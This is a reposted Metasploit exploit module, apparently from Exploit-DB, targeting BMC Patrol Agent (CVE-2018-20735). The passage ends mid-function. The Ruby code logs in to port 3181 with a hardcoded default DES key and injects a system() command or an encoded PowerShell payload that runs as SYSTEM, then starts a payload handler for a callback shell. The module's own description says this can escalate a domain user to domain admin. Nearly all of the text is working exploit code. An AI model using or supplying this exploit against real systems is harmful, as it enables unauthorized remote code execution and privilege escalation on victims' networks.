BMC Patrol Agent – Privilege Escalation Code Execution Execution (Metasploit)

  • 作者: Metasploit
    日期: 2019-03-18
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/46556/
  • ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    require 'zlib'
    
    class MetasploitModule < Msf::Exploit::Remote
    Rank = ExcellentRanking
    include Msf::Exploit::Remote::Tcp
    include Msf::Exploit::Powershell
    
    @deflater = nil
    @inflater = nil
    
    SBOXES = [
    0x20022000, 0x20000000, 0x0, 0x20022000, 0x0, 0x20022000, 0x20000000, 0x0, 0x20022000,
    0x20022000, 0x20000000, 0x22000, 0x22000, 0x0, 0x0, 0x20000000, 0x20000000, 0x0,
    0x22000, 0x20022000, 0x20022000, 0x20000000, 0x22000, 0x22000, 0x0, 0x22000,
    0x20022000, 0x20000000, 0x22000, 0x22000, 0x20000000, 0x0, 0x0, 0x20022000, 0x22000,
    0x20000000, 0x20022000, 0x20000000, 0x22000, 0x22000, 0x20000000, 0x22000,
    0x20022000, 0x0, 0x20022000, 0x0, 0x0, 0x20000000, 0x20022000, 0x20022000, 0x20000000,
    0x22000, 0x0, 0x22000, 0x20000000, 0x0, 0x20000000, 0x0, 0x22000, 0x20022000, 0x0,
    0x20000000, 0x22000, 0x20022000, 0x802, 0x2, 0x8000800, 0x8000802, 0x800, 0x8000002,
    0x8000002, 0x8000800, 0x8000002, 0x802, 0x802, 0x8000000, 0x8000800, 0x800,
    0x0, 0x8000002, 0x2, 0x8000000, 0x800, 0x2, 0x8000802, 0x802, 0x8000000, 0x800, 0x8000000,
    0x0, 0x2, 0x8000802, 0x0, 0x8000800, 0x8000802, 0x0, 0x0, 0x8000802, 0x800, 0x8000002,
    0x802, 0x2, 0x8000000, 0x800, 0x8000802, 0x0, 0x2, 0x8000800, 0x8000002, 0x8000000,
    0x8000800, 0x802, 0x8000802, 0x2, 0x802, 0x8000800, 0x800, 0x8000000, 0x8000002,
    0x0, 0x2, 0x800, 0x8000800, 0x802, 0x8000000, 0x8000802, 0x0, 0x8000002, 0x2200004,
    0x0, 0x2200000, 0x0, 0x4, 0x2200004, 0x2200000, 0x2200000, 0x2200000, 0x4, 0x4, 0x2200000,
    0x4, 0x2200000, 0x0, 0x4, 0x0, 0x2200004, 0x4, 0x2200000, 0x2200004, 0x0, 0x0, 0x4, 0x2200004,
    0x2200004, 0x2200000, 0x4, 0x0, 0x0, 0x2200004, 0x2200004, 0x4, 0x2200000, 0x2200000,
    0x2200004, 0x2200004, 0x4, 0x4, 0x0, 0x0, 0x2200004, 0x0, 0x4, 0x2200000, 0x0, 0x2200004,
    0x2200004, 0x2200000, 0x2200000, 0x0, 0x4, 0x4, 0x2200004, 0x2200000, 0x0, 0x4, 0x0,
    0x2200004, 0x2200000, 0x2200004, 0x4, 0x0, 0x2200000, 0x1100004, 0x0, 0x4, 0x1100004,
    0x1100000, 0x0, 0x1100000, 0x4, 0x0, 0x1100004, 0x0, 0x1100000, 0x4, 0x1100004, 0x1100004,
    0x0, 0x4, 0x1100000, 0x1100004, 0x0, 0x4, 0x1100000, 0x0, 0x4, 0x1100000, 0x4, 0x1100004,
    0x1100000, 0x1100000, 0x4, 0x0, 0x1100004, 0x4, 0x1100004, 0x1100000, 0x4, 0x1100004,
    0x4, 0x1100000, 0x0, 0x1100000, 0x0, 0x4, 0x1100004, 0x0, 0x1100000, 0x4, 0x1100000,
    0x1100004, 0x0, 0x0, 0x1100000, 0x0, 0x1100004, 0x4, 0x1100004, 0x1100004, 0x4, 0x0,
    0x1100000, 0x1100000, 0x0, 0x1100004, 0x4, 0x0, 0x10000400, 0x400, 0x400, 0x10000000,
    0x0, 0x400, 0x10000400, 0x400, 0x10000000, 0x10000000, 0x0, 0x10000400, 0x400,
    0x0, 0x10000000, 0x0, 0x10000000, 0x10000400, 0x400, 0x400, 0x10000400, 0x10000000,
    0x0, 0x10000000, 0x400, 0x10000400, 0x10000000, 0x10000400, 0x0, 0x0, 0x10000400,
    0x10000400, 0x400, 0x0, 0x10000000, 0x400, 0x10000000, 0x10000000, 0x400, 0x0,
    0x10000400, 0x10000400, 0x10000000, 0x10000000, 0x0, 0x10000400, 0x0, 0x10000400,
    0x0, 0x0, 0x10000400, 0x10000000, 0x400, 0x400, 0x10000400, 0x400, 0x0, 0x10000000,
    0x400, 0x0, 0x10000400, 0x400, 0x10000000, 0x4011000, 0x11001, 0x0, 0x4011000,
    0x4000001, 0x11000, 0x4011000, 0x1, 0x11000, 0x1, 0x11001, 0x4000000, 0x4011001,
    0x4000000, 0x4000000, 0x4011001, 0x0, 0x4000001, 0x11001, 0x0, 0x4000000, 0x4011001,
    0x1, 0x4011000, 0x4011001, 0x11000, 0x4000001, 0x11001, 0x1, 0x0, 0x11000, 0x4000001,
    0x11001, 0x0, 0x4000000, 0x1, 0x4000000, 0x4000001, 0x11001, 0x4011000, 0x0, 0x11001,
    0x1, 0x4011001, 0x4000001, 0x11000, 0x4011001, 0x4000000, 0x4000001, 0x4011000,
    0x11000, 0x4011001, 0x1, 0x11000, 0x4011000, 0x1, 0x11000, 0x0, 0x4011001, 0x4000000,
    0x4011000, 0x4000001, 0x0, 0x11001, 0x40002, 0x40000, 0x2, 0x40002, 0x0, 0x0, 0x40002,
    0x2, 0x40000, 0x2, 0x0, 0x40002, 0x2, 0x40002, 0x0, 0x0, 0x2, 0x40000, 0x40000, 0x2, 0x40000,
    0x40002, 0x0, 0x40000, 0x40002, 0x0, 0x2, 0x40000, 0x40000, 0x2, 0x40002, 0x0, 0x2, 0x40002,
    0x0, 0x2, 0x40000, 0x40000, 0x2, 0x0, 0x40002, 0x0, 0x40000, 0x2, 0x0, 0x2, 0x40000, 0x40000,
    0x0, 0x40002, 0x40002, 0x0, 0x40002, 0x2, 0x40000, 0x40002, 0x2, 0x40000, 0x0, 0x40002,
    0x40002, 0x0, 0x2, 0x40000, 0x20000110, 0x40000, 0x20000000, 0x20040110, 0x0, 0x40110,
    0x20040000, 0x20000110, 0x40110, 0x20040000, 0x40000, 0x20000000, 0x20040000,
    0x20000110, 0x110, 0x40000, 0x20040110, 0x110, 0x0, 0x20000000, 0x110, 0x20040000,
    0x40110, 0x0, 0x20000000, 0x0, 0x20000110, 0x40110, 0x40000, 0x20040110, 0x20040110,
    0x110, 0x20040110, 0x20000000, 0x110, 0x20040000, 0x110, 0x40000, 0x20000000,
    0x40110, 0x20040000, 0x0, 0x0, 0x20000110, 0x0, 0x20040110, 0x40110, 0x0, 0x40000,
    0x20040110, 0x20000110, 0x110, 0x20040110, 0x20000000, 0x40000, 0x20000110,
    0x20000110, 0x110, 0x40110, 0x20040000, 0x20000000, 0x40000, 0x20040000, 0x40110,
    0x0, 0x4000000, 0x11000, 0x4011008, 0x4000008, 0x11000, 0x4011008, 0x4000000,
    0x4000000, 0x8, 0x8, 0x4011000, 0x11008, 0x4000008, 0x4011000, 0x0, 0x4011000, 0x0,
    0x4000008, 0x11008, 0x11000, 0x4011008, 0x0, 0x8, 0x8, 0x11008, 0x4011008, 0x4000008,
    0x4000000, 0x11000, 0x11008, 0x4011000, 0x4011000, 0x11008, 0x4000008, 0x4000000,
    0x4000000, 0x8, 0x8, 0x11000, 0x0, 0x4011000, 0x4011008, 0x0, 0x4011008, 0x0, 0x11000,
    0x4000008, 0x11008, 0x11000, 0x0, 0x4011008, 0x4000008, 0x4011000, 0x11008, 0x4000000,
    0x4011000, 0x4000008, 0x11000, 0x11008, 0x8, 0x4011008, 0x4000000, 0x8, 0x22000,
    0x0, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x22000, 0x22000,
    0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x22000, 0x22000,
    0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000, 0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000,
    0x22000, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x0, 0x0, 0x22000, 0x22000,
    0x22000, 0x0, 0x0, 0x0, 0x22000, 0x22000, 0x0, 0x0, 0x0, 0x22000, 0x22000, 0x110, 0x110,
    0x0, 0x80000, 0x110, 0x80000, 0x80110, 0x0, 0x80110, 0x80110, 0x80000, 0x0, 0x80000,
    0x110, 0x0, 0x80110, 0x0, 0x80110, 0x110, 0x0, 0x80000, 0x110, 0x80000, 0x110, 0x80110,
    0x0, 0x0, 0x80110, 0x110, 0x80000, 0x80110, 0x80000, 0x80110, 0x0, 0x80000, 0x80110,
    0x80000, 0x110, 0x0, 0x80000, 0x0, 0x80000, 0x110, 0x0, 0x110, 0x80110, 0x80000, 0x110,
    0x80110, 0x80000, 0x0, 0x80110, 0x110, 0x0, 0x80110, 0x0, 0x80000, 0x110, 0x80110,
    0x80000, 0x0, 0x80110, 0x110, 0x110, 0x2200000, 0x8, 0x0, 0x2200008, 0x8, 0x0, 0x2200000,
    0x8, 0x0, 0x2200008, 0x8, 0x2200000, 0x2200000, 0x2200000, 0x2200008, 0x8, 0x8, 0x2200000,
    0x2200008, 0x0, 0x0, 0x0, 0x2200008, 0x2200008, 0x2200008, 0x2200008, 0x2200000,
    0x0, 0x0, 0x8, 0x8, 0x2200000, 0x0, 0x2200000, 0x2200000, 0x8, 0x2200008, 0x8, 0x0, 0x2200000,
    0x2200000, 0x0, 0x2200008, 0x8, 0x8, 0x2200008, 0x8, 0x0, 0x2200008, 0x8, 0x8, 0x2200000,
    0x2200000, 0x2200008, 0x8, 0x0, 0x0, 0x2200000, 0x2200000, 0x2200008, 0x2200008,
    0x0, 0x0, 0x2200008, 0x1100000, 0x800, 0x800, 0x1, 0x1100801, 0x1100001, 0x1100800,
    0x0, 0x0, 0x801, 0x801, 0x1100000, 0x1, 0x1100800, 0x1100000, 0x801, 0x801, 0x1100000,
    0x1100001, 0x1100801, 0x0, 0x800, 0x1, 0x1100800, 0x1100001, 0x1100801, 0x1100800,
    0x1, 0x1100801, 0x1100001, 0x800, 0x0, 0x1100801, 0x1100000, 0x1100001, 0x801,
    0x1100000, 0x800, 0x0, 0x1100001, 0x801, 0x1100801, 0x1100800, 0x0, 0x800, 0x1, 0x1,
    0x800, 0x0, 0x801, 0x800, 0x1100800, 0x801, 0x1100000, 0x1100801, 0x0, 0x1100800,
    0x1, 0x1100001, 0x1100801, 0x1, 0x1100800, 0x1100000, 0x1100001, 0x0, 0x0, 0x400,
    0x10000400, 0x10000400, 0x10000000, 0x0, 0x0, 0x400, 0x10000400, 0x10000000, 0x400,
    0x10000000, 0x400, 0x400, 0x10000000, 0x10000400, 0x0, 0x10000000, 0x10000400,
    0x0, 0x400, 0x10000400, 0x0, 0x10000400, 0x10000000, 0x400, 0x10000000, 0x10000000,
    0x10000400, 0x0, 0x400, 0x10000000, 0x400, 0x10000400, 0x10000000, 0x0, 0x0, 0x400,
    0x10000400, 0x10000400, 0x10000000, 0x0, 0x0, 0x0, 0x10000400, 0x10000000, 0x400,
    0x0, 0x10000400, 0x400, 0x0, 0x10000000, 0x0, 0x10000400, 0x400, 0x400, 0x10000000,
    0x10000000, 0x10000400, 0x10000400, 0x400, 0x400, 0x10000000, 0x220, 0x8000000,
    0x8000220, 0x0, 0x8000000, 0x220, 0x0, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000220,
    0x8000220, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000220, 0x220, 0x8000000, 0x8000220,
    0x220, 0x0, 0x8000000, 0x0, 0x0, 0x8000220, 0x220, 0x0, 0x8000000, 0x8000000, 0x220,
    0x0, 0x8000000, 0x220, 0x8000220, 0x8000220, 0x0, 0x0, 0x8000000, 0x220, 0x8000220,
    0x8000000, 0x220, 0x8000000, 0x220, 0x220, 0x8000000, 0x8000220, 0x0, 0x0, 0x220,
    0x8000000, 0x8000220, 0x8000220, 0x0, 0x220, 0x8000000, 0x8000220, 0x0, 0x0, 0x220,
    0x8000000, 0x8000220, 0x80220, 0x80220, 0x0, 0x0, 0x80000, 0x220, 0x80220, 0x80220,
    0x0, 0x80000, 0x220, 0x0, 0x220, 0x80000, 0x80000, 0x80220, 0x0, 0x220, 0x220, 0x80000,
    0x80220, 0x80000, 0x0, 0x220, 0x80000, 0x220, 0x80000, 0x80220, 0x220, 0x0, 0x80220,
    0x0, 0x220, 0x0, 0x80000, 0x80220, 0x0, 0x80000, 0x0, 0x220, 0x80220, 0x80000, 0x80000,
    0x220, 0x80220, 0x0, 0x220, 0x80000, 0x80220, 0x220, 0x80220, 0x80000, 0x220, 0x0,
    0x80000, 0x80220, 0x0, 0x80220, 0x220, 0x0, 0x80000, 0x80220, 0x0, 0x220
    ].freeze
    
    PC1 = "\x38\x30\x28\x20\x18\x10\x8\x0\x39\x31\x29\x21\x19\x11\x9"\
    "\x1\x3A\x32\x2A\x22\x1A\x12\x0A\x2\x3B\x33\x2B\x23\x3E\x36"\
    "\x2E\x26\x1E\x16\x0E\x6\x3D\x35\x2D\x25\x1D\x15\x0D\x5\x3C"\
    "\x34\x2C\x24\x1C\x14\x0C\x4\x1B\x13\x0B\x3\x0\x0\x0\x0\x0\x0\x0\x0".freeze
    
    PC2 = "\x0D\x10\x0A\x17\x0\x4\x2\x1B\x0E\x5\x14\x9\x16\x12\x0B\x3"\
    "\x19\x7\x0F\x6\x1A\x13\x0C\x1\x28\x33\x1E\x24\x2E\x36\x1D"\
    "\x27\x32\x2C\x20\x2F\x2B\x30\x26\x37\x21\x34\x2D\x29\x31"\
    "\x23\x1C\x1F".freeze
    
    SBOX_BYTE_ORDER = [
    1, 2, 4, 8, 0x10, 0x20, 0x40, 0x80, 0x100, 0x200, 0x400, 0x800, 0x1000, 0x2000,
    0x4000, 0x8000, 0x10000, 0x20000, 0x40000, 0x80000, 0x100000, 0x200000, 0x400000,
    0x800000, 0x1000000, 0x2000000, 0x4000000, 0x8000000, 0x10000000, 0x20000000,
    0x40000000, 0x80000000
    ].freeze
    
    ROTATIONS = "\x1\x1\x2\x2\x2\x2\x2\x2\x1\x2\x2\x2\x2\x2\x2\x1".freeze
    INIT_DES_KEY_0 = "\x9a\xd3\xbc\x24\x10\xe2\x8f\x0e".freeze
    INIT_DES_KEY_1 = "\xe2\x95\x14\x33\x59\xc3\xec\xa8".freeze
    
    DES_ENCRYPT = 0
    
    def initialize(info = {})
    super(update_info(info,
    'Name' => 'BMC Patrol Agent Privilege Escalation Cmd Execution',
    'Description'=> %q(
    This module leverages the remote command execution feature provided by
    the BMC Patrol Agent software. It can also be used to escalate privileges
    on Windows hosts as the software runs as SYSTEM but only verfies that the password
    of the provided user is correct. This also means if the software is running on a
    domain controller, it can be used to escalate from a normal domain user to domain
    admin as SYSTEM on a DC is DA. **WARNING** The windows version of this exploit uses
    powershell to execute the payload. The powershell version tends to timeout on
    the first run so it may take multiple tries.
    ),
    'License'=> MSF_LICENSE,
    'Author' =>
    [
    'b0yd' # @rwincey / Vulnerability Discovery and MSF module author
    ],
    'References' =>
    [
    ['CVE', '2018-20735'],
    ['URL', 'https://www.securifera.com/blog/2018/12/17/bmc-patrol-agent-domain-user-to-domain-admin/']
    ],
    'Platform' => ['win', 'linux'],
    'Targets'=>
    [
    [
    'Windows Powershell Injected Shellcode', {
    'Platform' => 'win'
    }
    ],
    [
    'Generic Command Callback', {
    'Arch' => ARCH_CMD,
    'Platform' => %w[linux unix win]
    }
    ]
    ],
    'Privileged' => true,
    'DefaultTarget'=> 0,
    'DefaultOptions' => {
    'DisablePayloadHandler' => true
    },
    'DisclosureDate' => 'Jan 17 2019'))
    
    register_options(
    [
    Opt::RPORT(3181),
    OptString.new('USER', [true,'local or domain user to authenticate with patrol', 'patrol']),
    OptString.new('PASSWORD', [true,'password to authenticate with patrol', 'password']),
    OptString.new('CMD',[false, 'command to run on the target. If this option is specified the payload will be ignored.'])
    ]
    )
    
    end
    
    def cleanup
    disconnect
    print_status("Disconnected from BMC Patrol Agent.")
    @inflater.close
    @deflater.close
    super
    end
    
    def get_target_os(srv_info_msg)
    lines = srv_info_msg.split("\n")
    fail_with(Failure::UnexpectedReply, "Invalid server info msg.") if lines[0] != "MS" && lines[1] != "{" && lines[-1] != "}"
    
    os = nil
    ver = nil
    lines[2..-2].each do |i|
    val = i.split("=")
    if val.length == 2
    if val[0].strip! == "T"
    os = val[1]
    elsif val[0].strip! == "VER"
    ver = val[1]
    end
    end
    end
    [os, ver]
    end
    
    def get_cmd_output(cmd_output_msg)
    
    lines = cmd_output_msg.split("\n")
    fail_with(Failure::UnexpectedReply, "Invalid command output msg.") if lines[0] != "PEM_MSG" && lines[1] != "{" && lines[-1] != "}"
    
    # Parse out command results
    idx_start = cmd_output_msg.index("Result\x00")
    idx_end = cmd_output_msg.index("RemPsl_user")
    output = cmd_output_msg[idx_start + 7..idx_end - 1]
    
    output
    end
    
    def exploit
    
    # Manually start the handler if not running a single command
    if datastore['CMD'].nil? || datastore['CMD'].empty?
    
    # Set to nil if the cmd is empty for checks further down
    datastore['CMD'] = nil
    datastore['DisablePayloadHandler'] = false
    
    # Configure the payload handler
    payload_instance.exploit_config = {
    'active_timeout' => 300
    }
    # Setup the payload handler
    payload_instance.setup_handler
    
    # Start the payload handler
    payload_instance.start_handler
    
    end
    
    # Initialize zlib objects
    @deflater = Zlib::Deflate.new(4, 15, Zlib::MAX_MEM_LEVEL, Zlib::DEFAULT_STRATEGY)
    @inflater = Zlib::Inflate.new
    
    # Connect to the BMC Patrol Agent
    connect
    print_status("Connected to BMC Patrol Agent.")
    
    # Create session msg
    create_session
    ret_data = receive_msg
    fail_with(Failure::UnexpectedReply, "Failed to receive session confirmation. Aborting.") if ret_data.nil?
    
    # Authenticate
    authenticate_user(datastore['USER'], datastore['PASSWORD'])
    
    # Receive the authentication response
    ret_data = receive_msg
    fail_with(Failure::UnexpectedReply, "Failed to receive authentication response. Aborting.") if ret_data.nil?
    
    ret_msg = process_response(ret_data)
    if ret_msg =~ /logged in/
    print_status("Successfully authenticated user.")
    else
    fail_with(Failure::UnexpectedReply, "Login failed. Aborting.")
    end
    
    # Receive the server info
    ret_data = receive_msg
    fail_with(Failure::UnexpectedReply, "Failed to receive server info msg. Aborting.") if ret_data.nil?
    srv_info = process_response(ret_data)
    
    # Get the target's OS from their info msg
    target_os = get_target_os(srv_info)
    
    # When using autotargeting, MSF selects the Windows meterpreter as the default payload.
    # Fail if this is the case and ask the user to select an appropriate payload.
    if target_os[0] == 'Linux' && payload_instance.name =~ /Windows/ && datastore['CMD'].nil?
    fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.")
    end
    
    target_name = target.name
    if !datastore['CMD'].nil?
    command = datastore['CMD'].tr('"', '\"')
    print_status("Command to execute: #{command}")
    elsif target_name == 'Windows Powershell Injected Shellcode'
    # Get encoded powershell of payload
    command = cmd_psh_payload(payload.encoded, payload_instance.arch.first, encode_final_payload: true, method: 'reflection')
    else
    command = payload.raw.tr('"', '\"')
    end
    
    # Run command
    run_cmd(command)
    
    # Receive command confirmation
    ret_data = receive_msg
    if !ret_data.nil?
    process_response(ret_data)
    end
    
    # Receive command output
    ret_data = receive_msg
    if !ret_data.nil? && !datastore['CMD'].nil?
    cmd_result_data = process_response(ret_data)
    cmd_result = get_cmd_output(cmd_result_data)
    print_status("Output:\n#{cmd_result}")
    end
    
    # Handle the shell
    handler
    
    end
    
    def receive_msg
    
    header = sock.get_once(6)
    if header.nil?
    return
    end
    
    payload_size_arr = header[0, 4]
    payload_size = payload_size_arr.unpack1("N")
    payload = ''
    if payload_size > 0
    payload = sock.get_once(payload_size)
    if payload.nil?
    return
    end
    end
    
    return header + payload
    
    end
    
    def send_msg(type, compression, data)
    
    data_len = data.length
    buf = [data_len].pack('N')
    
    # Set the type
    buf += [type].pack('C')
    
    # Set compression flag
    buf += [compression].pack('C')
    
    # Add data
    buf += data
    
    # Send msg
    sock.put(buf)
    
    end
    
    def process_response(ret_data)
    
    # While style checks complain, I intend to leave this parsing
    # in place for debugging purposes
    ret_size_arr = ret_data[0, 4]
    ret_size = ret_size_arr.unpack1("N") # rubocop:disable Lint/UselessAssignment
    
    msg_type = ret_data[4, 1] # rubocop:disable Lint/UselessAssignment
    comp_flag = ret_data[5, 1]
    
    payload_data = ret_data[6..-1]
    if comp_flag == "\x00"
    bin_data = payload_data.unpack1("H*") # rubocop:disable Lint/UselessAssignment
    payload_data = @inflater.inflate(payload_data)
    end
    
    return payload_data
    
    end
    
    def run_cmd(cmd)
    
    user_num = rand 1000..9999
    msg_1 = %(R_E
    {
    \tRE_ID=1
    \tRE_PDESC=0\tRemPsl\tsystem("#{cmd}");\tRemPsl_user_#{user_num}
    \tRE_ORG=PemApi
    \tRE_SEV=1
    \tRE_NSEV=5
    \tRE_ST=
    }
    )
    
    msg_1 += "\x00"
    # Compress the message
    comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH
    send_msg(0x44, 0x0, comp_data)
    
    end
    
    def identify(user)
    
    inner_len = 15
    msg_type = 8
    len_str = [inner_len].pack("N")
    msg_str = [msg_type].pack("N")
    msg_1 = %(PEM_MSG
    {
    \tNSDL=#{inner_len}
    \tPEM_DGRAM=#{len_str}#{msg_str}#{user}\x00
    }
    )
    msg_1 += "\x00"
    print_status("Msg: #{msg_1}")
    bin_data = msg_1.unpack1("H*") # rubocop:disable Lint/UselessAssignment
    # Compress the message
    comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH
    send_msg(0x44, 0x0, comp_data)
    
    end
    
    def create_session
    sess_msg = "\x00\x00\x00\x00\x00\x00\x00\x00\x05\x02\x00\x04\x02\x04\x03\x10\x00\x00\x03\x04\x00\x00\x00\x00\x01\x01\x04\x00\xff\x00\x00\x00"
    sess_msg += "\x00" * 0x68
    send_msg(0x45, 0x2, sess_msg)
    end
    
    def authenticate_user(user, password)
    # Default encryption key
    enc_key = 'k$C4}@"_'
    output_data = des_crypt_func(password, enc_key, DES_ENCRYPT)
    # Convert to hex string
    encrpted_pw = output_data.unpack1("H*")
    des_pw = encrpted_pw.upcase
    
    msg_1 = %(ID
    {
    \tHOST=user
    \tUSER=#{user}
    \tPASS=#{des_pw}
    \tVER=V9.6.00
    \tT=PEMAPI
    \tHTBT=1
    \tTMOT=1728000
    \tRTRS=3
    }
    )
    
    msg_1 += "\x00"
    comp_data = @deflater.deflate msg_1, Zlib::SYNC_FLUSH
    send_msg(0x44, 0x0, comp_data)
    
    end
    
    def rotate_block_init(input_block_tuple)
    
    v6 = 0
    v5 = 0
    input_block_tuple = input_block_tuple.pack("V*").unpack("i*")
    v3 = input_block_tuple[0]
    v4 = input_block_tuple[1]
    
    if (v4 & 0x2000000) != 0
    v5 = 1
    end
    if (v4 & 0x20000) != 0
    v5 |= 2
    end
    if (v4 & 0x200) != 0
    v5 |= 4
    end
    if (v4 & 2) != 0
    v5 |= 8
    end
    if (v3 & 0x2000000) != 0
    v5 |= 0x10
    end
    if (v3 & 0x20000) != 0
    v5 |= 0x20
    end
    if (v3 & 0x200) != 0
    v5 |= 0x40
    end
    if (v3 & 2) != 0
    v5 |= 0x80
    end
    if (v4 & 0x8000000) != 0
    v5 |= 0x100
    end
    if (v4 & 0x80000) != 0
    v5 |= 0x200
    end
    if (v4 & 0x800) != 0
    v5 |= 0x400
    end
    if (v4 & 8) != 0
    v5 |= 0x800
    end
    if (v3 & 0x8000000) != 0
    v5 |= 0x1000
    end
    if (v3 & 0x80000) != 0
    v5 |= 0x2000
    end
    if (v3 & 0x800) != 0
    v5 |= 0x4000
    end
    if (v3 & 8) != 0
    v5 |= 0x8000
    end
    if (v4 & 0x20000000) != 0
    v5 |= 0x10000
    end
    if (v4 & 0x200000) != 0
    v5 |= 0x20000
    end
    if (v4 & 0x2000) != 0
    v5 |= 0x40000
    end
    if (v4 & 0x20) != 0
    v5 |= 0x80000
    end
    if (v3 & 0x20000000) != 0
    v5 |= 0x100000
    end
    if (v3 & 0x200000) != 0
    v5 |= 0x200000
    end
    if (v3 & 0x2000) != 0
    v5 |= 0x400000
    end
    if (v3 & 0x20) != 0
    v5 |= 0x800000
    end
    if (v4 < 0)
    v5 |= 0x1000000
    end
    if (v4 & 0x800000) != 0
    v5 |= 0x2000000
    end
    if (v4 & 0x8000) != 0
    v5 |= 0x4000000
    end
    if (v4 & 0x80) != 0
    v5 |= 0x8000000
    end
    if (v3 < 0)
    v5 |= 0x10000000
    end
    if (v3 & 0x800000) != 0
    v5 |= 0x20000000
    end
    if (v3 & 0x8000) != 0
    v5 |= 0x40000000
    end
    if (v3 & 0x80) != 0
    v5 |= 0x80000000
    end
    if (v4 & 0x1000000) != 0
    v6 = 1
    end
    if (v4 & 0x10000) != 0
    v6 |= 2
    end
    if (v4 & 0x100) != 0
    v6 |= 4
    end
    if (v4 & 1) != 0
    v6 |= 8
    end
    if (v3 & 0x1000000) != 0
    v6 |= 0x10
    end
    if (v3 & 0x10000) != 0
    v6 |= 0x20
    end
    if (v3 & 0x100) != 0
    v6 |= 0x40
    end
    if (v3 & 1) != 0
    v6 |= 0x80
    end
    if (v4 & 0x4000000) != 0
    v6 |= 0x100
    end
    if (v4 & 0x40000) != 0
    v6 |= 0x200
    end
    if (v4 & 0x400) != 0
    v6 |= 0x400
    end
    if (v4 & 4) != 0
    v6 |= 0x800
    end
    if (v3 & 0x4000000) != 0
    v6 |= 0x1000
    end
    if (v3 & 0x40000) != 0
    v6 |= 0x2000
    end
    if (v3 & 0x400) != 0
    v6 |= 0x4000
    end
    if (v3 & 4) != 0
    v6 |= 0x8000
    end
    if (v4 & 0x10000000) != 0
    v6 |= 0x10000
    end
    if (v4 & 0x100000) != 0
    v6 |= 0x20000
    end
    if (v4 & 0x1000) != 0
    v6 |= 0x40000
    end
    if (v4 & 0x10) != 0
    v6 |= 0x80000
    end
    if (v3 & 0x10000000) != 0
    v6 |= 0x100000
    end
    if (v3 & 0x100000) != 0
    v6 |= 0x200000
    end
    if (v3 & 0x1000) != 0
    v6 |= 0x400000
    end
    if (v3 & 0x10) != 0
    v6 |= 0x800000
    end
    if (v4 & 0x40000000) != 0
    v6 |= 0x1000000
    end
    if (v4 & 0x400000) != 0
    v6 |= 0x2000000
    end
    if (v4 & 0x4000) != 0
    v6 |= 0x4000000
    end
    if (v4 & 0x40) != 0
    v6 |= 0x8000000
    end
    if (v3 & 0x40000000) != 0
    v6 |= 0x10000000
    end
    if (v3 & 0x400000) != 0
    v6 |= 0x20000000
    end
    if (v3 & 0x4000) != 0
    v6 |= 0x40000000
    end
    if (v3 & 0x40) != 0
    v6 |= 0x80000000
    end
    
    # Create return tuple
    ret_block = Array.new
    ret_block.push v5
    ret_block.push v6
    ret_block
    end
    
    def rotate_block_final(input_block_tuple)
    
    v6 = 0
    v5 = 0
    input_block_tuple = input_block_tuple.pack("V*").unpack("i*")
    v3 = input_block_tuple[0]
    v4 = input_block_tuple[1]
    
    if (v4 & 0x80) != 0
    v5 = 1
    end
    if (v3 & 0x80) != 0
    v5 |= 2
    end
    if (v4 & 0x8000) != 0
    v5 |= 4
    end
    if (v3 & 0x8000) != 0
    v5 |= 8
    end
    if (v4 & 0x800000) != 0
    v5 |= 0x10
    end
    if (v3 & 0x800000) != 0
    v5 |= 0x20
    end
    if (v4 < 0)
    v5 |= 0x40
    end
    if (v3 < 0)
    v5 |= 0x80
    end
    if (v4 & 0x40) != 0
    v5 |= 0x100
    end
    if (v3 & 0x40) != 0
    v5 |= 0x200
    end
    if (v4 & 0x4000) != 0
    v5 |= 0x400
    end
    if (v3 & 0x4000) != 0
    v5 |= 0x800
    end
    if (v4 & 0x400000) != 0
    v5 |= 0x1000
    end
    if (v3 & 0x400000) != 0
    v5 |= 0x2000
    end
    if (v4 & 0x40000000) != 0
    v5 |= 0x4000
    end
    if (v3 & 0x40000000) != 0
    v5 |= 0x8000
    end
    if (v4 & 0x20) != 0
    v5 |= 0x10000
    end
    if (v3 & 0x20) != 0
    v5 |= 0x20000
    end
    if (v4 & 0x2000) != 0
    v5 |= 0x40000
    end
    if (v3 & 0x2000) != 0
    v5 |= 0x80000
    end
    if (v4 & 0x200000) != 0
    v5 |= 0x100000
    end
    if (v3 & 0x200000) != 0
    v5 |= 0x200000
    end
    if (v4 & 0x20000000) != 0
    v5 |= 0x400000
    end
    if (v3 & 0x20000000) != 0
    v5 |= 0x800000
    end
    if (v4 & 0x10) != 0
    v5 |= 0x1000000
    end
    if (v3 & 0x10) != 0
    v5 |= 0x2000000
    end
    if (v4 & 0x1000) != 0
    v5 |= 0x4000000
    end
    if (v3 & 0x1000) != 0
    v5 |= 0x8000000
    end
    if (v4 & 0x100000) != 0
    v5 |= 0x10000000
    end
    if (v3 & 0x100000) != 0
    v5 |= 0x20000000
    end
    if (v4 & 0x10000000) != 0
    v5 |= 0x40000000
    end
    if (v3 & 0x10000000) != 0
    v5 |= 0x80000000
    end
    if (v4 & 8) != 0
    v6 = 1
    end
    if (v3 & 8) != 0
    v6 |= 2
    end
    if (v4 & 0x800) != 0
    v6 |= 4
    end
    if (v3 & 0x800) != 0
    v6 |= 8
    end
    if (v4 & 0x80000) != 0
    v6 |= 0x10
    end
    if (v3 & 0x80000) != 0
    v6 |= 0x20
    end
    if (v4 & 0x8000000) != 0
    v6 |= 0x40
    end
    if (v3 & 0x8000000) != 0
    v6 |= 0x80
    end
    if (v4 & 4) != 0
    v6 |= 0x100
    end
    if (v3 & 4) != 0
    v6 |= 0x200
    end
    if (v4 & 0x400) != 0
    v6 |= 0x400
    end
    if (v3 & 0x400) != 0
    v6 |= 0x800
    end
    if (v4 & 0x40000) != 0
    v6 |= 0x1000
    end
